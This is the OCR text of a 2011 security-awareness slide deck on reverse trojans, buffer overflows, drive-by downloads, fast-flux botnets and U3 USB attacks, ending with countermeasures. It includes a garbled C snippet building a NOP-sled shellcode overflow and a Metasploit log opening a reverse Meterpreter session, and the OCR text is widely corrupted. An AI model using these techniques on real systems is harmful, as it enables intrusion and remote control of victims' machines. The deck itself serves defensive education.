CONCERNED, AS CONFIDENTIALITY, INTEGRITY AND
AVAILABILITY ARE ALL IMPACTED. ACCOUNTABILITY IS

ALSO CONCERNED, AS THE NON-REPUDIATION 1S

COMPROMISED.
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1S WORTH A THOUSAND WORDS...

A PICTURE
... DEMONSTRATION TIME.

?:hid

UROPE

m:Me=ssage r:RABpondre g:Groupe
* SECURITY information for TROJITO.E

Pl LIELED )

v:Volr attach. d:Effacer ::Ri@p::d:e
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AS SHOWN IN THE DEMONSTRATION OF THIS FIRST
CASE STuDY, AN HACKER WHO HAS TROJANIZED A
SINGLE COMPUTER ON YOUR INTERNAL NETWORK CAN:

DOWNLOAD ANY ADDITIONAL MALWARE NEEDED
RECORD ALL REMOTE USER KEY STROKES

ATTACK NETWORK RESOURCES FROM INSIDE

SEE AND EVEN INTERACT WITH THE USER’S SCREEN

POTENTIALLY DIVERT ELECTRONIC TRANSACTIONS
BEFORE THEIR ENCRYPTION

ALTER AND UPLOAD SENSITIVE NETWORK DATA

IN BRIEF, HE CONTROLS YOUR WORKSTATION AND
HAS ALREADY ONE LEG IN YOUR LAN
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HAVE YOU EVER HEARD OF BUFFER OVERFLOWS?
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HAVE YOU EVER HEARD OF BUFFER OVERFLOWS?

Savant Web Server

Savant Web Server haz encountered a problem and S
needs to cloze. We are sonry for the inconvenience.

If wou were in the middle of something, the infarmation you were working an
might be lost.

Pleaze tell Microzoft about thiz problem.

We have created an error report that you can send to uz. We will treat
thiz report az confidential and anonprous.

To zee what data this error repart containg, click here.

Send Error Report | Daon't Send I

Buffer DOverflow.exe - Application Error x|

Q The instruction ak "0x7878787E" referenced memory at "0x78787878", The memory could nok be "read"”,

Click on QK to kerminate the program
Click, on CAMCEL to debug the program

Cancel |
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4 AS EXPLAINED IN THE PREVIOUS CASE STUuDY, A
REVERSE TROJAN ATTACK CAN QQUITE OFTEN BE
LAUNCHED THROUGH A SOCIAL ENGINEERING VECTOR,
SsUcH AS A FAKE MAIL OR A MALICIOUS CODE
EMBEDDED IN AN OLE DOCUMENT.

4 THESE ATTALCKS, DESPITE POWERFUL, REQUIRE

USER’S INTERACTION WHICH MAY LIMIT THREAT’S
SEVERITY.

4 NEVERTHELESS, MORE INSIDIOUS VECTORS DO
EXIST.
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S0 WHAT IS BUFFER OVERFLOWS IN SHORT?

4 IT IS A SERIOUS VULNERABILITY WHICH OCCURS
WHEN DATA IS WRITTEN TO A BUFFER WHICH IS NOT
BIG ENOUGH.

4 THE INSUFFICIENT BOUNDS CHECKING PERMITS TO
CORRUPT DATA VALUES IN MEMORY ADDRESSES
WHICH REMAIN ADJACENT TO THE ALLOCATED BUFFER.

4 IN THE WORSE CASE, IT PERMITS TO EXECUTE

ARBITRARY CODE WITH THE SAME RIGHTS AS THE
ABUSED USER.
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HERE 1S A REPRESENTATION OF THE VULNERABLE

MEMORY SPACE WHEN STORING A SUITABLE VARIABLE:

STRNAME INTBIRTH

2 BYTES
8 BYTES STRING BUFFER
INTEGER

1978
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AND HERE IS A REPRESENTATION OF WHAT CAN

HAPPEN WHEN THERE 1S A LACK OF BOUNDS
CHECKING BEFORE COPY.

STRNAME INTBIRTH

2 BYTES
8 BYTES STRING BUFFER
INTEGER

BAD DAYS! 8448
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4 BY FAILING TO CHECK THE LENGTH OF THE STRING
BEFORE STORING IT IN THE STRNAME VARIABLE, IT
OVERWRITES THE VALUE OF THE INTBIRTH VARIABLE.

v RIGHT NOW, ONLY THE DATE VARIABLE WwOULD
HAVE BEEN UNWITTINGLY MODIFIED (AT LEAST NOT BY
THE DEVELOPER).

4 IN CASE OF A LONGER STRING, MORE IMPORTANT
MEMORY SPACES wOULD HAVE BEEN ALTERED.
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IMPORTANT MEMORY SPACES REMAIN AT RISK:

oxEEEEEEEF

kernel virtual memaory memary

(code, data, heap, stack) T invisible to

0XCO000000 user code

|
user stack

jerantsd a;runtime} : Yoesp (stack pointer)

memaory mapped region for
shared libraries

¥

run-time heap
{created at runtime by malloc)

0x40000000

read/write segment

(.data, .bss) loaded from the
read,gniy Segmem executable file
(.init, .text, rodata)

Ox0B048000

0| ‘unused
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Oxbfffffff

E . t . bI SYSTEM LEVEL VARIABLES
nvironment variables (E.G.: PATH OF BINARY & COMMAND LINE ARGUMENTS)

LOCAL VARIABLES & TRACES DF FUNCTION CALLS

DYNAMICAL VARIABLES - FIXED AT RUNTIME
(E.G.: INT C = MALLOC(sSIZEOF(INT)); FREE Cj)

GLOBAL NON INITIALIZED VARIABLES - FIXED AT RUNTIME
(E.G.: INT B} CHAR* ADDR})

GLOBAL INITIALIZED VARIABLES - FIXED AT RUNTIME
(E.G.: INT A=0D3)

MACHINE INSTRUCTIONS - RO - FIXED AT RUNTIME
0x11111111
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4 Null bytes

Program Name

Environment variables

Arguments

INFORMATION SECURITY SOLUTIONS

GOOD PLACE TO STORE A SHELLCODE IN CASE
OF A TOO SMALL BUFFER ON THE STACK

Ox11111111
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AS THE STACK GROWS DOWNWARD TOWARD LOWER
MEMORY ADDRESS, ANY POORLY BOUNDS CHECKED
LOCAL VARIABLE MAY ALTER THE STACK POINTER AND,
WORSE OF ALL, THE RETURN ADDRESS.

Function
Variable Parameters

Low Mem: | Stack Grows High Mem:

0x11111111 Ox o

ONCE THE FUNCTION RETURNS, EXECUTION WILL
THEREFORE RESUME AT THE RETURN ADDRESS
SPECIFIED BY THE ATTACKER, USUALLY A USER INPUT
FILLED BUFFER.
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IF HACKERS ARE ABLE TO ALTER THE INSTRUCTION
POINTER, THEY HAVE A NICE WAY TO MODIFY THE
PROGRAM’S EXECUTION FLOW. A CLASSIC
EXPLOITATION WOULD BE TGO JUuMP ON A CONTROLLED
INPUT BUFFER WHICH WILL CONTAIN THE PAYLOAD.

\_. Exploit Buffer

Repeate

NOP Sled Shellcode Address

Vulnerable Buffer EBP

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH



11 [[T——rT ] .
Ox06 - BUFFER OVERFLOWS p s € iR FRRI =

INFORMATIDN SECURITY SOLUTIONS

FOR EXAMPLE IF YOUu CONSIDER THIS
QUITE SIMPLE AND VULNERABLE C cODE:

THERE IS NO PROBLEM IF USER SUPPLIES

A SMALL ARGUMENT, BUT AS SOON AS
THE PROGRAM TRIES T0O COPY MORE
CHARACTERS THAN THE BUFFER CAN
CONTAIN, A BUFFER OVERFLOW OCCURS.
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IF WE DO THE SAME TEST INSIDE A
DEBUGGER, WE CAN 0OBVIOUSLY NOTICE
THAT BOTH %EBP AND %EIP HAVE BEEN
ALTERED, AS THEY ARE NOW FILLED WITH

THE “A” CHARACTER (OXxXx41 ASCII coDbE):
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THEREFORE WE ARE ABLE TO REDIRECT
THE EXECUTION’S FLOW...

10000 : - ({45+1)
et [1=""=wT7d\xff\xff\bf";
char buffer[256]; int 1i; ]
printf("Crafting maliciou

for

printf ("Curr
for (j h
buffer[i]
printf (" [Shell
é:_::fl“é;::=:: hop:

for (j =

printf ("Current hop: %d\n", i):
printf ("Argument crafted. Calling vulnerable binary...\n"):

execle (" /home/frogito/BOF/stackoverflow,/vulnl™, "wvulnl"™, buffer, HULL);

a uini®,
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AND SPAWN A SHELL!

THE PAYLOAD 1S EXECUTED WITH THE
CURRENT USER RIGHTS... IF THE USER IS AN
ADMINISTRATOR, OR IF THE VULNERABLE
PROGRAM WAS EXECUTED THROUGH A ‘“RUN
AS” OR HAS ITS SUID FLAG ACTIVATED,
THEN THE PAYLOAD WILL BE A ROOT SHELL.
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S0o WHAT’S ABOUT A BUFFER OVERFLOW
VULNERABILITY IN A WIDESPREAD APPLICATION?

THE MORE EMPLOYEES THAT USE A SAME VERSION OF
A VULNERABLE APPLICATION AND HAVE A KIND 0OF

INTERNET ACCESS, THE MORE DAMAGE IF A BUFFER

OVERFLOW IS SUCCESSFULLY EXPLOITED...

... LET’S SEE HOW A HACKER CAN USE THIS VECTOR
TO DOWNLOAD AND EXECUTE HIS REVERSE TROJAN.
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HACKERS MANAGE TO HAVE ONE OF YOUR EMPLOYEES
SURFING A CONTROLLED OR XSSED WEBSITE, OR
TRICK HIM INTO OPENING A MALICIOUS FILE ATTACHED
T™O A FAKE MAIL, THUS INJECTING CODE IN THE
VULNERABLE APPLICATION LAYER TO DOWNLOAD AND
EXECUTE THE REVERSE TROJAN.

Mail Server Usars Proxy Server FTP Server  Reverse Proxy Server
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HACKERS MANAGE TO HAVE ONE OF YOUR EMPLOYEES
SURFING A CONTROLLED OR XSSED WEBSITE, OR
TRICK HIM INTO OPENING A MALICIOUS FILE ATTACHED
T™O A FAKE MAIL, THUS INJECTING CODE IN THE
VULNERABLE APPLICATION LAYER TO DOWNLOAD AND
EXECUTE THE REVERSE TROJAN.

)
o3 P
?

Mail Server Usprs Proxy Server FTP Server  Reverse Proxy Server

Maliciously crafted file download
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HACKERS MANAGE TO HAVE ONE OF YOUR EMPLOYEES
SURFING A CONTROLLED OR XSSED WEBSITE, OR
TRICK HIM INTO OPENING A MALICIOUS FILE ATTACHED
T™O A FAKE MAIL, THUS INJECTING CODE IN THE
VULNERABLE APPLICATION LAYER TO DOWNLOAD AND
EXECUTE THE REVERSE TROJAN.

Mail Server Users Proxy Server FTP Server  Reverse Proxy Server

Buffer Overflow exploit of targeted software
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HACKERS MANAGE TO HAVE ONE OF YOUR EMPLOYEES
SURFING A CONTROLLED OR XSSED WEBSITE, OR
TRICK HIM INTO OPENING A MALICIOUS FILE ATTACHED
T™O A FAKE MAIL, THUS INJECTING CODE IN THE
VULNERABLE APPLICATION LAYER TO DOWNLOAD AND
EXECUTE THE REVERSE TROJAN.

)
o3 P
?

Mail Server Usprs Proxy Server FTP Server  Reverse Proxy Server

Automatic download and execution of malicious code

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH



Ox06 - BUFFER OVERFLOWS ':'G?H:;:Eiﬂsﬁlliff

HACKERS MANAGE TO HAVE ONE OF YOUR EMPLOYEES
SURFING A CONTROLLED OR XSSED WEBSITE, OR
TRICK HIM INTO OPENING A MALICIOUS FILE ATTACHED
T™O A FAKE MAIL, THUS INJECTING CODE IN THE
VULNERABLE APPLICATION LAYER TO DOWNLOAD AND

EXECUTE THE REVERSE TROJAN.

File Server DB Server WEB Herver DB Server Mail Server

9 9 994

( Local Network  F Sy ([ DMz O

R @ @

Mail Server Usprs Proxy Server FTP Server  Reverse Proxy Server

Host is zombified

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




1| [TT—| " .
HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Ox06 - BUFFER OVERFLOWS

4 EXPLOITATION OF A BUFFER OVERFLOW VULNERABILITY
GREATLY IMPROVES THE SUCCESS RATE OF A TROJAN
ATTACK.

HACKERS ARE OFTEN A LENGTH AHEAD OF VENDORS, AS
THEY DISCOVER MUCH MORE BUFFER OVERFLOW
VULNERABILITIES.

EVEN WHEN A PROOF OF CONCEPT 1S PUBLICLY
RELEASED, SOME VENDORS MAY NOT BE REALLY
REACTIVE TO RUICKLY PROVIDE A PATCH. FOR INSTANCE,
A HUGE NUMBER 0OF VULNERABILITIES WHICH AFFECT
RECENT VERSIONS 0OF ACROBAT READER HAVE BEEN
EXPLOITED SINCE SEVERAL MONTHS.

SucH AN ATTACK USUALLY OCCURS THROUGH 3
DISTINCT PHASES, WHICH ARE DESCRIBED IN THE
FOLLOWING SLIDES.
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CUuUsSTOMIZE THE ATTACK SO THAT IT WILL INCREASE

ITS SUCCESS RATE.

DETERMINE THE TYPE AND THE VERSION OF
APPLICATIAONS WHICH ARE MADE AVAILABLE TO
EMPLOYEES WITHIN A TARGETED COMPANY, AND

PREFERABLY IDENTIFY INTERESTS FOR A FEW USERS.

STANDARD INFORMATION GATHERING, MAINLY

THROUGH GOOGLING & SOCIAL ENGINEERING.
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PREPARE A PAGE ON A WEB SERVER WHICH IS UNDER
ATTACKER’S CONTROL. T MAY BELONG T0O THE

HACKER, OR JUST BEING A COMPROMISED SERVER.

ENSURE THAT THE MALICIOUS FILE WILL BE
DOWNLOADED AND THAT IT WILL AUTOMATICALLY

RETRIEVES AND EXECUTES THE TROJAN WHEN RUN.

BY DISCOVERING AT LEAST ONE SECURITY FLAW IN

THE TARGETED SOFTWARE WHICH WILL PERMIT THE

ATTACKER TO ALTER THE EIP REGISTER, AND

THEREFORE INJECT AN ARBITRARY CODE WHICH WILL

BE EXECUTED IN THE CONTEXT 0OF THE CURRENTLY

LOGGED-IN USER.
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ENSURE THAT AT LEAST ONE EMPLOYEE OF YOUR

COMPANY WILL VISIT THE TRAPPED WEBSITE.

FINALIZE THE ATTACK AND ACCESS THE INTERNAL

NETWORK OF THE TARGETED COMPANY.

SoOocIAL ENGINEERING AND XS5, DEPENDING ON
WHETHER THE WEB SERVER IS FULLY CONTROLLED BY

THE ATTACKER OR NOT.
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HERE AGAIN, A PICTURE IS WORTH A THOUSAND

msf exploit(handler) > show options

WORDS

Module options:

sas S O L 150/ Tl A RS AT S VYV ECIVIEEL N L-WORLD

INTRUS

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

THE VIC E.11 FUNC - e DAL LS . 584,) TN LS, process SITE AND
LHOST 192.168.169.61 yes The local address
SIMPLY  ORPENS L LIS LY F WHICH

WILL E : RABILITY
Exploit target:

IN ACRL

id Name

8@ Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.169.61:443

[*] Starting the payload handler...

[*] Sending stage (748032 bytes) to 192.168.169.51

[#*] Meterpreter session 2 opened (192.168.169.61:443 -> 192.168.169.51:1666)

meterpreter > ps
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AS SHOWN IN THE DEMONSTRATION OF

THIS SECOND CASE sTUubDY, REVERSE

TROJAN HORSE PAYLOADS WHICH RELY ON
A BUFFER OVERFLOW EXPLOITATION
VECTOR IS A SILENT BUT DEADLY ATTACK.
THERE 1S NO NEED FOR THE VICTIM TO BE
TRICKED INTO RUNNING AN UNTRUSTED
BINARY.
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RECENT BITDEFENDER'S TOP 5 MALWARE
SCORING INDICATES THAT THE THIRD
PLACE WAS WON BY EXPLOIT.PDF-
JS.GEN, WHICH EXPLOITS A FLAW IN
ADOBE READER’S JAVASCRIPT ENGINE TO
RUN MALICIOUS CODE ON COMPUTERS.

THIS EXPLOIT REPRESENTED 5.30% 0OF
ALL MALWARE OBSERVED IN MARCH

2010.
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SUCH AN ATTACK CAN ALSO BE BLINDLY
ACHIEVED ON A VERY LARGE SCALE IF A
HIGHLY VISITED WEBSITE IS COMPROMISED...
IT ENABLES HACKERS TO CREATE POWERFUL
BOTNETS WHICH CONSISTS OF LOTS OF

ZOMBIES, T0O SEND HIGHLY PROFITABLE
SPAMS, TO STEAL A LOT OF CONFIDENTIAL

DATA, AND TO LAUNGCH WIDELY SPREAD
WORMS.
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THIS IS KNOWN AS A DRIVE-BY DOWNLOAD
ATTACK, IN WHICH AN AUTOMATED MALWARE
DOWNLOAD OCCURS THROUGH THE
EXPLOITATION OF A WEB BROWSER, AN E-MAIL
CLIENT OR AN OPERATING SYSTEM BUG,
WITHOUT ANY USER INTERVENTION
WHATSOEVER. WEBSITES THAT EXPLOIT THE
WINDOWS METAFILE VULNERABILITY MAY
PROVIDE EXAMPLES OF 'DRIVE-BY

DOWNLDOADS' OF THIS SORT.
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v IN APRIL 2007, RESEARCHERS AT GOOGLE

DISCOVERED HUNDREDS OF THOUSANDS OF WEB
PAGES PERFORMING DRIVE-BY DOWNLOADS.

v IN OCTOBER 2009, DASIENTS STATISTICS
STATED ON THE GROWTH OF DRIVE-BY
DOWNLOADS ON THE WEB. MORE THAN 640’000
WEBSITES AND ABOUT 5.8 MILLION PAGES WERE
INFECTED WITH MALWARE.
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v MOsT OF THE MALWARE INFECTIONS ARE

ACCOMPLISHED BY JAVASCRIPT AND IFRAMES
BEING INJECTED INTO LEGITIMATE SITES,
ACCOUNTING FOR NEARLY 55 PERCENT AND 37
PERCENT RESPECTIVELY. THE STATISTICS
ILLUSTRATE THE GROWING TREND OF ATTACKERS
TARGETING BROWSERS AND WEB APPS WITH SQL
INJECTIONS, CROSS-SITE SCRIPTING AND OTHER
ATTACKS THAT CAN LEAD TO DRIVE-BY
DOWNLOADS.
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AND THE FUTURE WILL PROBABLY BE QUITE

WORSE... AS BOTNETS ARE NOW USING FAST-
FLUX TECHNIQUES TO HIDE PHISHING AND
OTHER MALWARE DELIVERY SITES BY USING AN
EVER-CHANGING NETWORK OF COMPROMISED
HOSTS ACTING AS PROXIES.

FAST-FLUX IS A COMBINATION OF DISTRIBUTED
COMMAND AND CONTROL, PEER-TO-PEER
NETWORKING, WEB-BASED LOAD BALANCING AND
PROXY REDIRECTION.
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CRIMINAL ORGANIZATIONS ARE NOW USING FAST-
FLUX IN THEIR FISHING ATTACKS TO MAKE THEIR
MALWARE NETWORKS MORE RESISTANT TO
DISCOVERY AND COUNTER"-MEASURES.

FAST-FLUX COMBINES THE ROUND ROBIN DNS

LOAD BALANCING FEATURE, WHICH ALLOWS
NUMEROUS |IP ADDRESSES IN A RESPONSE TO A
SINGLE DNS QQUERY, WITH VERY SHORT TITL
VALUES TO CREATE A CONSTANTLY CHANGING
LIST OF DESTINATION ADDRESSES FOR A SPECIFIC
DNS NAME.
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IN SINGLE-FLUX, COMPROMISED HOSTS REGISTER
AND DEREGISTER THEIR ADDRESSES AS PART 0OF

THE DNS A RECORD LIST FOR A SINGLE DNS
NAME.

IN DOUBLE-FLUX, COMPROMISED HOSTS

REGISTER AND DEREGISTER THEIR ADDRESSES AS
PART OF THE DNS NS RECORD LIST FOR THE
DNS ZzONE, WHICH PROVIDES AN ADDITIONAL
LAYER OF REDUNDANCY AND SURVIVABILITY FOR
THE MALWARE NETWORK.
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BASICALLY, SOPHISTICATED CLIENT-SIDE ATTACKS
RELY ON EVER-CHANGING DNS RECORDS WHICH
NORMALLY POINT TO A COMPROMISED SYSTEM
THAT WILL ACT AS A PROXY.

HACKERS DO NOT HAVE ANYMORE A SINGLE
POINT OF FAILURE IN THEIR ATTACK SCENARIDO...
BEST TRADITIONAL COUNTER-MEASURES DO NOT
WORK, AS THERE IS NO POSSIBLE IP-BASED ACL.
IT MAY BECOME RUITE HARD TO TAKE DOWN THE
WEBSITE OF A PHISHING ATTACK, TO BLACKLIST

THE SPAMMER’S MAIL SERVER OR TO DEACTIVATE
IRC SERVERS USED BY BOT-HERDERS T0O
DISTRIBUTE THEIR INSTRUCTIONS TO ZOMBIES.
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HACKERS ALSO MAKE THEIR IDENTITY MUGCH
MORE DIFFICULT TO FIND, AS THEIR NETWORK MAY
BE HIDDEN BY A SERIES OF PROXIES,

POTENTIALLY LEVERAGING THOUSANDS OF
DISPOSABLE ZOMBIES AS INTERMEDIARIES AND
QUICKLY SWAPPING AMONG DIFFERENT SYSTEMS,
CONFOUNDING INVESTIGATORS WHO TRY TO
TRAGCE BACK A CONSTANTLY FLUCTUATING SET OF
TARGETS.
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SINGLE-FLUX BASED REVERSE TROJAN:

www.maliciousdomain.com: § g
A a.b.cd Yy &0 !

A fg.h
A s DNS Server Reverse Proxy Server

e.fg.h

Victim

d
, IRC Server Mail Server
G

Reverse Proxy Server Reverse Proxy Server
ab.cd ij.k.l
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SINGLE-FLUX BASED REVERSE TROJAN:

www.maliciousdomain.com: § g
A a.b.cd 0 &0y

A fg.h
-4 DNS Server Reverse Proxy Server
A ij.k.l efgh

Victim

| % Q | \'
‘ IRC Server Mail Server
Q

Reverse Proxy Server Reverse Proxy Server
ab.cd ij.k.l
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SINGLE-FLUX BASED REVERSE TROJAN:

www.maliciousdomain.com:
A m.n.o.p = ]
A q.rs.t .
A A, DNS Server &0y

Reverse Proxy Server
q.r.s.t

T
_ IRC Server Mail Server
X

Reverse Proxy Server Reverse Proxy Server
U.V.W.X m.n.o.p
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SINGLE-FLUX BASED REVERSE TROJAN:

www.maliciousdomain.com: ADDITIONAL BOUNCE WITH NS RECORDS IN CASE OF A
A m.n.o.p | DOUBLE-FLUX

A q.rs.t 2oy _
A U.V.W.X DNS Server T
. Reverse Proxy Server
q'r_S.t WEB erver

A ICIoUSdomain.com °
Victim

XXX X

)

IRC Server Mail Server

Reverse Proxy Server Reverse Proxy Server
U.V.W.X m.n.o.p

THE SOA NAME SERVER MAY BELONG TO A COMMERCIAL COMPANY WHO IGNORES LEGAL
SHUTDOWN INJUNCTIAQNS

ISP ARE OFTEN IN EXOTIC COUNTRIES WHO DO NOT CARE OF CYBERCRIME LAWS

ATTACKERS MAY USE DOUBLE-FLUX TECHNIQUES IN WHICH SOA DNS SERVERS CHANGE
CONTINUOUSLY
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WHEN ATTACKS RELY ON HARDWARE...
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‘/AS SHOWN IN THE PREVIOUS CASE STUDY, A
REVERSE TROJAN PAYLOAD CAN BE A DEADLY
ATTACK WHEN BASED ON A BUFFER 0OVERFLOW
VULNERABILITY.

‘/SDMETIMES, THESE POWERFUL ATTAGCKS MAY

RISE AN ERROR WITHIN THE TARGETED
SOFTWARE... NEVERTHELESS, SO CALLED
SEGMENTATION FAULTS ARE QUITE CcOMMON ON
WINDOWS SYSTEMS, AND MOST VICTIMS WILL NOT
NOTICE ANY REAL UNUSUAL BEHAVIOR.
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v MOREOVER, THE HARDWARE LAYER IS ALSO AT

RISK, AS IT IS USUALLY AN UNKNOWN ENTRY
POINT WHICH REMAINS UNDERESTIMATED BY
USERS.

v THE OLD DAYS WHERE PHYSICAL ATTACKS WERE
LIMITED TO THE RISK OF USING A CD WHICH
CONTAINED A VIRUS IS GONE...
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TODAY, MORE INSIDIOUS HARDWARE-BASED
THREATS DO EXIST, SUCH AS.

v USB KEYLOGGERS

e

‘/ STRAP-ON KEYLOGGERS THAT SIMPLY '\'/'VRAP

AROUND THE KEYBOARD EW

| "
o 2 ’
= v

s

4 ACPI ROOTKITS HIDDEN IN BIOS FLASH
MEMORY.
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SOME FACTS:

v IN DECEMBER 2007, THE COMPANY BEHIND
THE NOD32 ANTIVIRUS PROGRAM DECLARED:
"TROJANS USING AUTORUN TO INFECT
COMPUTERS HAVE BEEN ONE OF THE MOST
PREVALENT THREATS THAT WE HAVE BEEN
SEEING FOR SEVERAL MONTHS NOW."

v IN SEPTEMBER 2008, A COMPUTER ON
BOARD THE INTERNATIONAL SPACE STATION
WAS INFECTED WITH MALICIOUS SOFTWARE THAT
SPREAD VIA A FLASH DRIVE.
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SOME FACTS:

v IN 2009, A FEW MALICIOUS SOFTWARE
SPREAD TO UNTOLD MILLIONS OF COMPUTERS,
ESPECIALLY DOWNADUP AND OCONFICKER... IT
WAS THE BIGGEST ATTACK IN THE YEAR. ONE
WAY THE MALWARE SPREAD WAS BY INFECTING

USB FLASH DRIVES.

v THE SAME YEAR, THE US DEPARTMENT OF
DEFENSE DEALT WITH A VARIANT OF THE
SILLYFDC WORM KNOWN AS AGENT.BTZ BY
BANNING THE USE OF USB FLASH DRIVES ON

GOVERNMENT COMPUTERS.
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SOME FACTS:

v NOWADAYS, OUR PENETRATION TESTING
EXPERIENCE WITH SOCIAL ENGINEERING
SCENARIOS WHICH RELY ON MALICIOUS THUMB
DRIVES DROPPED IN WELL CHOSEN COMPANY’S
AREAS SHOWS AN EXTREMELY HIGH RATE OF
SUCCESS.

v USB MEMORY STICKS POSE NEW DANGERS.
THE FOLLOWING SLIDES WILL EXPLAIN HOW

HACKERS CAN EASILY COMPROMISE MOST
SYSTEMS WITH A REVERSE TROJAN PAYLOAD
LINKED TO SUCH AN HARDWARE VECTOR.
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HAVE YOU EVER HEARD OF U3’sS TECHNOLOGY?
IT PERMITS:

v To CARRY YOUR SOFTWARE ON THE SAME
FLASH DRIVE THAT CARRIES YOUR FILES.

‘/Tl:l WORK, PLAY A GAME, MESSAGE FRIENDS,

SEND EMAILS OR EDIT PHOTOS JUST BY
PLUGGING IT INTO ANY PC.

v WHEN YOU UNPLUG THE SMART DRIVE, IT
LEAVES NO PERSONAL DATA BEHIND.
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SO GLOBALLY, U3's TECHNOLOGY IS DESIGNED
TO INCREASE MOBILITY BY LETTING USERS STORE
THEIR PERSONAL DESKTOPS ON A MEMORY STICK,
SUGCH AS THEIR PROGRAMS, PASSWORDS,

PREFERENCES AND FILES.

THIS 1S MADE POSSIBLE BECAUSE u3 LLC

ALLOWS SOFTWARE AND APPLICATIONS T0O BE
EXECUTED DIRECTLY FROM USB DRIVES.
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COMPARED TO NORMAL USB STICKS WHICH ARE JUST
DATA STORAGE DEVICES, THE U3 USB SMART DRIVE
CAN CARRY SOFTWARE APPLICATIONS AND PERSONAL
SETTINGS THAT YOU CAN TAKE FROM MACHINE TO
MAGCHINE WITHOUT THE NEED T0O INSTALL THE
SOFTWARE ON EVERY DEVICE YOU PLUG INTO.

WHEN A U3 STICK IS PLUGGED, WINDOWS DiIsK
MANAGEMENT MOUNTS TwWO DRIVES:

vV A READ-ONLY ISO 9660 VOLUME ON AN
EMULATED CD-ROM DRIVE WITH AN AUTORUN
CONFIGURATION TO EXECUTE THE U3 LAUNCHPAD

WHICH RESIDES ON THIS CDFS PARTITION.
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v AND A STANDARD FLASH DRIVE THROUGH A FAT
PARTITION THAT INCLUDES A HIDDEN ¢“SYSTEM?”
FOLDER WITH INSTALLED APPLICATIONS.

AS A RESULT:

v UNLIKE TRADITIONAL USB FLASH DRIVES, U3

MEMORY STICKS ARE SELF-ACTIVATING AND CAN AUTO-
RUN APPLICATIONS WHEN INSERTED INTO A SYSTEM

4 THE SAME FUNCTIONS THAT ALLOW FOR SUCH
MOBILITY ALSO GIVE HACKERS ANOTHER WAY TO
BREAK INTO SYSTEMS, AS IT GIVES A WAY T0O
AUTOMATICALLY INSTALL BACKDOORS, RETRIEVE
PASSWORDS OR WHATEVER PAYLOAD.
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v UNLIKE TRADITIONAL USB FLASH DRIVES, U3
MEMORY STICKS ARE SELF-ACTIVATING AND CAN AUTO-
RUN APPLICATIONS WHEN INSERTED INTO A SYSTEM

4 THE SAME FUNCTIONS THAT ALLOW FOR SUCH

MOBILITY ALSO GIVE HACKERS ANOTHER WAY TO
BREAK INTO SYSTEMS, AS IT GIVES A WAY T0O
AUTOMATICALLY INSTALL BACKDOORS, RETRIEVE
PASSWORDS OR WHATEVER PAYLOAD.
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FOR THIS LAST DEMONSTRATION, LET’S TAKE A LOOK
ON HOW YOUR COMPANY COULD GET OWNED BY A
USB DEVICE AN EMPLOYEE PICKED UP IN A PARKING

LOT OR DIRECTLY NEAR THE COFFEE MACHINE...
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AS SHOWN IN THE DEMONSTRATION OF THIS THIRD
CASE STuDY, REVERSE TROJAN HORSE PAYLOADS
WHICH RELY ON U3 SMART DRIVES ARE ALSO SILENT
AND DEADLY ATTACKS.

IT IS THEREFORE NOT SO SURPRISING TO SEE |IN

RECENT BITDEFENDER'S TOP 5 MALWARE SCORING
THAT THE FIRST PLACE WAS WON BY
TROJAN.AUTORUNINF.GEN, AS IT SPREADS THROUGH
REMOVABLE STORAGE MEDIA LIKE USB STICKS,
MEMORY CARDS OR EXTERNAL HARD DRIVES. THIS
TROJAN REPRESENTED 13.40% OF ALL MALWARE
OBSERVED IN MARCH 2010.
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HERE ARE SOME OBSERVATIONS RELATED TO THESE 3
CASE STUDIES.

4 SAFETY IS A MATTER OF PROBABILITIES; THE RISK

IS NOT ZERQOQO.

4 A NETWORK IS CONSIDERED  SAFE WHEN THE
HOSTED INFORMATION IS LESS VALUABLE THAN THE
COST TO CARRY OUT A SUCCESSFUL ATTACK.

4 THE MORE RIGHTS HAVE YOUR INTERNAL USERS,
THE MORE DAMAGE WILL RESULT FROM MOST
ATTACKS.
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HERE ARE SOME OBSERVATIONS RELATED TO THESE 3
CASE STUDIES.:

4 THERE IS NO PERFECT SOLUTION WHICH WILL

PROVIDE AN EFFECTIVE RESPONSE TO HACKERS ;
COMPANIES MUST THINK ABOUT PROLIFERATION OF
MEASURES IN ORDER TO SUFFICIENTLY REDUCGCE THE
LIKELIHOOD OF INTRUSION. TODAY, MOST MALICIOUS
CODES ARE SINGLETONS WHICH ARE DESIGNED TO
ATTACK SPECIFIC COMPUTERS. THIS TREND SUGGESTS
THAT SECURITY TECHNOLOGIES THAT RELY ON
SIGNATURES SHOULD BE COMPLEMENTED WITH
ADDITIONAL HEURISTICS, BEHAVIORAL MONITORING
TECHNIQUES, AND REPUTATION"BASED SECURITY.
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HERE ARE SOME OBSERVATIONS RELATED TO THESE 3

CASE STUDIES.

4 SO-CALLED BEHAVIORAL VULNERABILITIES ARE
OFTEN EXPLOITED IN MOST SOPHISTICATED CYBER
ATTACKS. IT IS IMPERATIVE TO EDUCATE USERS ABOUT

THE DANGER.

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




1| [T TT——| ([ .
OXx08 - COUNTERMEASURES HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

AND HERE ARE SOME TECHNICAL ADVISES TO REDUCE
THIS RISK.:

4 EXPLOITING THE HUMAN ELEMENT 1S MORE
SUCCESSFUL VERSUS A 0O-DAY REMOTE EXPLOIT.
ATTACKERS WILL SEND YOU A TAILORED MESSAGE
WITH A MALICIOUS URL OR WITH AN ATTACHMENT,
sucH AS A ZIPPED COMPILED HELP MODULE (CHM
FILE), ADOBE PDF OR MS 0OFFICE DOCUMENTS. SO IT
IS HIGHLY ADVISABLE TO ADDRESS PHISHING AND
BOTS GENERALLY BY EDUCATING USERS TO AVOID BAD
LINKS.

4 UP-TO-DATE APPLICATIONS AND LATEST PATCHES.
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AND HERE ARE SOME TECHNICAL ADVISES TO REDUCE
THIS RISK.:

4 LATEST ANTIVIRUS SIGNATURES & HEURISTIC
ENGINES.

4 LIMIT INBOUND AND OUTBOUND NETWORK TRAFFIC
AT FIREWALLS.

4 MONITOR DNS CACHE TO IDENTIFY SUSPICIOUS
TTL TO PREVENT FAST-FLUX ATTACKS.

